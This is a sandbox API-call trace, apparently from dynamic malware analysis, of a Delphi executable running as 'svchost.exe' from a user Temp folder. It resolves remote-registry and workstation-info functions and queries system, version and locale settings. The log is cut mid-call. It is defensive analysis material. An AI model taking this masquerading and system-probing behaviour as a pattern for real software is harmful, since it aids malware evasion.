(lpModuleName="netapi32.dll") returned 0x742b0000 [0141.561] GetProcAddress (hModule=0x742b0000, lpProcName="NetWkstaGetInfo") returned 0x742b1b10 [0141.561] GetProcAddress (hModule=0x742b0000, lpProcName="NetApiBufferFree") returned 0x742a17c0 [0141.575] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x756e0000 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegSetValueExW") returned 0x756ff530 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegConnectRegistryW") returned 0x75703910 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegEnumKeyExW") returned 0x756fefd0 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegLoadKeyW") returned 0x75713990 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegDeleteKeyW") returned 0x756ff910 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegOpenKeyExW") returned 0x756fe580 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryInfoKeyW") returned 0x756ff270 [0141.575] GetProcAddress (hModule=0x756e0000, lpProcName="RegUnLoadKeyW") returned 0x75713af0 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegSaveKeyW") returned 0x75723a50 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegDeleteValueW") returned 0x75700580 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegReplaceKeyW") returned 0x75723e60 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegFlushKey") returned 0x757021b0 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryValueExW") returned 0x756fe5a0 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegEnumValueW") returned 0x756ff250 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegCloseKey") returned 0x756fed60 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegCreateKeyExW") returned 0x756ff4f0 [0141.576] GetProcAddress (hModule=0x756e0000, lpProcName="RegRestoreKeyW") returned 0x75713a30 [0141.576] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0141.576] SetThreadLocale (Locale=0x400) returned 1 [0141.577] GetVersion () returned 0x3ad7000a [0141.577] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.577] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadPreferredUILanguages") returned 0x772e7250 [0141.577] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.577] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadPreferredUILanguages") returned 0x772e4f10 [0141.577] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.577] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadUILanguage") returned 0x772e7290 [0141.578] GetSystemInfo (in: lpSystemInfo=0x19fd64 | out: lpSystemInfo=0x19fd64*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0141.578] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe\" " [0141.578] GetStartupInfoW (in: lpStartupInfo=0x19fd40 | out: lpStartupInfo=0x19fd40*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4, hStdOutput=0x24a, hStdError=0x1f80)) [0141.578] GetACP () returned 0x4e4 [0141.578] GetCurrentThreadId () returned 0xab4 [0141.578] GetVersion () returned 0x3ad7000a [0141.578] GetVersionExW (in: lpVersionInformation=0x19fc84*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x772e7290, dwBuildNumber=0x40ce98, dwPlatformId=0x19fcd0, szCSDVersion="") | out: lpVersionInformation=0x19fc84*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0141.578] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x19db44, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\svchost.exe")) returned 0x2e [0141.578] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19d92e, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\svchost.exe")) returned 0x2e [0141.578] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x24a0000 [0141.579] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19d8a8 | out: phkResult=0x19d8a8*=0x0) returned 0x2 [0141.579] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19d8a8 | out: phkResult=0x19d8a8*=0x0) returned 0x2 [0141.579] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19d8a8 | out: phkResult=0x19d8a8*=0x0) returned 0x2 [0141.579] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19d8a8 | out: phkResult=0x19d8a8*=0x0) returned 0x2 [0141.579] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19d8a8 | out: phkResult=0x19d8a8*=0x0) returned 0x2 [0141.579] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19d8a8 | out: phkResult=0x19d8a8*=0x0) returned 0x2 [0141.579] GetUserDefaultUILanguage () returned 0x409 [0141.579] IsValidLocale (Locale=0x409, dwFlags=0x2) returned 1 [0141.579] GetThreadUILanguage () returned 0x190409 [0141.579] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x19d884, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x19d8ac | out: pulNumLanguages=0x19d884, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x19d8ac) returned 1 [0141.580] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x19d884, pwszLanguagesBuffer=0x25ca680, pcchLanguagesBuffer=0x19d8ac | out: pulNumLanguages=0x19d884, pwszLanguagesBuffer=0x25ca680, pcchLanguagesBuffer=0x19d8ac) returned 1 [0141.580] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.en-US", lpFindFileData=0x19d64c | out: lpFindFileData=0x19d64c*(dwFileAttributes=0x19d8bc, ftCreationTime.dwLowDateTime=0x19d6b4, ftCreationTime.dwHighDateTime=0x77a35acc, ftLastAccessTime.dwLowDateTime=0x970000, ftLastAccessTime.dwHighDateTime=0x19d7c0, ftLastWriteTime.dwLowDateTime=0x77a35acc, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x77a35b15, dwReserved0=0xd6a57b24, dwReserved1=0x25ca680, cFileName="", cAlternateFileName="쀬ɛ놘@+")) returned 0xffffffff [0141.580] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.en", lpFindFileData=0x19d64c | out: lpFindFileData=0x19d64c*(dwFileAttributes=0x19d8bc, ftCreationTime.dwLowDateTime=0x19d6b4, ftCreationTime.dwHighDateTime=0x77a35acc, ftLastAccessTime.dwLowDateTime=0x970000, ftLastAccessTime.dwHighDateTime=0x19d7c0, ftLastWriteTime.dwLowDateTime=0x77a35acc, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x77a35b15, dwReserved0=0xd6a57b24, dwReserved1=0x25ca680, cFileName="", cAlternateFileName="跌ɝ놘@+")) returned 0xffffffff [0141.580] GetUserDefaultUILanguage () returned 0x409 [0141.580] GetLocaleInfoW (in: Locale=0x409, LCType=0x3, lpLCData=0x19d8c8, cchData=4 | out: lpLCData="ENU") returned 4 [0141.581] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.ENU", lpFindFileData=0x19d654 | out: lpFindFileData=0x19d654*(dwFileAttributes=0x77a35acc, ftCreationTime.dwLowDateTime=0x970000, ftCreationTime.dwHighDateTime=0x19d7c0, ftLastAccessTime.dwLowDateTime=0x77a35acc, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x77a35b15, nFileSizeHigh=0xd6a57b24, nFileSizeLow=0x25ca680, dwReserved0=0x970000, dwReserved1=0x19d7c0, cFileName="￾￿媛瞣屇瞠\x08", cAlternateFileName="跌ɝ놘@+")) returned 0xffffffff [0141.581] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.EN", lpFindFileData=0x19d654 | out: lpFindFileData=0x19d654*(dwFileAttributes=0x77a35acc, ftCreationTime.dwLowDateTime=0x970000, ftCreationTime.dwHighDateTime=0x19d7c0, ftLastAccessTime.dwLowDateTime=0x77a35acc, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x77a35b15, nFileSizeHigh=0xd6a57b24, nFileSizeLow=0x25ca680, dwReserved0=0x970000, dwReserved1=0x19d7c0, cFileName="￾￿媛瞣屇瞠\x08", cAlternateFileName="跌ɝ놘@+")) returned 0xffffffff [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffce, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Method called on disposed object") returned 0x20 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffcd, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Feature not implemented") returned 0x17 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffcc, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Monitor support function not initialized") returned 0x28 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffcb, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Object lock not owned") returned 0x15 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffca, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffc9, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffc7, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffc8, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffc3, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffd9, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffd8, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0141.581] LoadStringW (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffea, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x19dd6c, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0141.582] LoadStringW (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x19dd6c, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0141.582] GetVersionExW (in: lpVersionInformation=0x19fc80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19fc80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0141.582] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x772d0000 [0141.582] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0xa18198 [0141.582] GetProcAddress (hModule=0x772d0000, lpProcName="GetNativeSystemInfo") returned 0x772e5130 [0141.582] GetNativeSystemInfo (in: lpSystemInfo=0x19fc5c | out: lpSystemInfo=0x19fc5c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0141.582] GetFileVersionInfoSizeW (in: lptstrFilename="kernel32.dll", lpdwHandle=0x19fc38 | out: lpdwHandle=0x19fc38) returned 0x72c [0141.583] GetFileVersionInfoW (in: lptstrFilename="kernel32.dll", dwHandle=0x0, dwLen=0x72c, lpData=0x2588800 | out: lpData=0x2588800) returned 1 [0141.583] VerQueryValueW (in: pBlock=0x2588800, lpSubBlock="\\", lplpBuffer=0x19fc30, puLen=0x19fc2c | out: lplpBuffer=0x19fc30*=0x2588828, puLen=0x19fc2c) returned 1 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xff44, lpBuffer=0x19dc44, cchBufferMax=4096 | out: lpBuffer="Windows") returned 0x7 [0141.584] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x80) returned 0x200000 [0141.584] VerifyVersionInfoW (in: lpVersionInformation=0x19fb24, dwTypeMask=0x80, dwlConditionMask=0x200000 | out: lpVersionInformation=0x19fb24) returned 1 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xff32, lpBuffer=0x19dc44, cchBufferMax=4096 | out: lpBuffer="Windows 10") returned 0xa [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x19dd64, cchBufferMax=4096 | out: lpBuffer="Invalid numeric input") returned 0x15 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x19dd64, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x19dd64, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x19dd64, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x19dd64, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x19dd64, cchBufferMax=4096 | out: lpBuffer="Invalid filename") returned 0x10 [0141.584] LoadStringW (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x19dd64, cchBufferMax=4096 | out: lpBuffer="File not found") returned 0xe [0141.584] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fb4a, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\svchost.exe")) returned 0x2e [0141.584] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fd58 | out: phkResult=0x19fd58*=0x0) returned 0x2 [0141.584] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fd58 | out: phkResult=0x19fd58*=0x0) returned 0x2 [0141.584] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fd58 | out: phkResult=0x19fd58*=0x0) returned 0x2 [0141.584] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fd58 | out: phkResult=0x19fd58*=0x0) returned 0x2 [0141.584] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fd58 | out: phkResult=0x19fd58*=0x0) returned 0x2 [0141.584] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19fd58 | out: phkResult=0x19fd58*=0x0) returned 0x2 [0141.585] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.585] GetProcAddress (hModule=0x772d0000, lpProcName="GetLogicalProcessorInformation") returned 0x772e71b0 [0141.585] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x772d0000 [0141.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0xa18188 [0141.585] GetProcAddress (hModule=0x772d0000, lpProcName="GetLogicalProcessorInformation") returned 0x772e71b0 [0141.585] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x19fd3c | out: Buffer=0x0, ReturnedLength=0x19fd3c) returned 0 [0141.585] GetLastError () returned 0x7a [0141.585] GetLogicalProcessorInformation (in: Buffer=0x25814d0, ReturnedLength=0x19fd3c | out: Buffer=0x25814d0, ReturnedLength=0x19fd3c) returned 1 [0141.585] GetCurrentThreadId () returned 0xab4 [0141.585] GetCurrentThreadId () returned 0xab4 [0141.585] GetVersionExW (in: lpVersionInformation=0x19fc4c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa053c0, dwMinorVersion=0xd6a551c8, dwBuildNumber=0x19fc8c, dwPlatformId=0x74ca9861, szCSDVersion="") | out: lpVersionInformation=0x19fc4c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0141.585] GetCurrentThreadId () returned 0xab4 [0141.585] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0141.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x25980dc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareStringOrdinal", lpUsedDefaultChar=0x0) returned 20 [0141.586] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringOrdinal") returned 0x772e7070 [0141.586] GetThreadLocale () returned 0x409 [0141.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x19fc90 | out: lpCPInfo=0x19fc90) returned 1 [0141.586] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0141.586] GetCurrentThreadId () returned 0xab4 [0141.586] GetCurrentThreadId () returned 0xab4 [0141.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x100b, lpLCData=0x19fa0c, cchData=256 | out: lpLCData="2") returned 2 [0141.586] GetThreadLocale () returned 0x409 [0141.586] EnumCalendarInfoW (lpCalInfoEnumProc=0x427368, Locale=0x409, Calendar=0x2, CalType=0x4) returned 1 [0141.587] GetThreadLocale () returned 0x409 [0141.587] EnumCalendarInfoW (lpCalInfoEnumProc=0x427400, Locale=0x409, Calendar=0x2, CalType=0x3) returned 1 [0141.587] GetCurrentThreadId () returned 0xab4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Sun") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Sunday") returned 7 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Mon") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Monday") returned 7 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Tue") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Tuesday") returned 8 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Wed") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Wednesday") returned 10 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Thu") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Thursday") returned 9 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Fri") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Friday") returned 7 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Sat") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x19f9f4, cchData=256 | out: lpLCData="Saturday") returned 9 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Jan") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="January") returned 8 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Feb") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="February") returned 9 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Mar") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="March") returned 6 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Apr") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="April") returned 6 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="May") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="May") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Jun") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="June") returned 5 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Jul") returned 4 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="July") returned 5 [0141.587] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Aug") returned 4 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="August") returned 7 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Sep") returned 4 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="September") returned 10 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Oct") returned 4 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="October") returned 8 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Nov") returned 4 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="November") returned 9 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="Dec") returned 4 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x19f9f8, cchData=256 | out: lpLCData="December") returned 9 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x19fa48, cchData=256 | out: lpLCData="$") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1b, lpLCData=0x19fa48, cchData=256 | out: lpLCData="0") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1c, lpLCData=0x19fa48, cchData=256 | out: lpLCData="0") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x19fc40, cchData=2 | out: lpLCData=",") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x19fc40, cchData=2 | out: lpLCData=".") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x19, lpLCData=0x19fa48, cchData=256 | out: lpLCData="2") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, 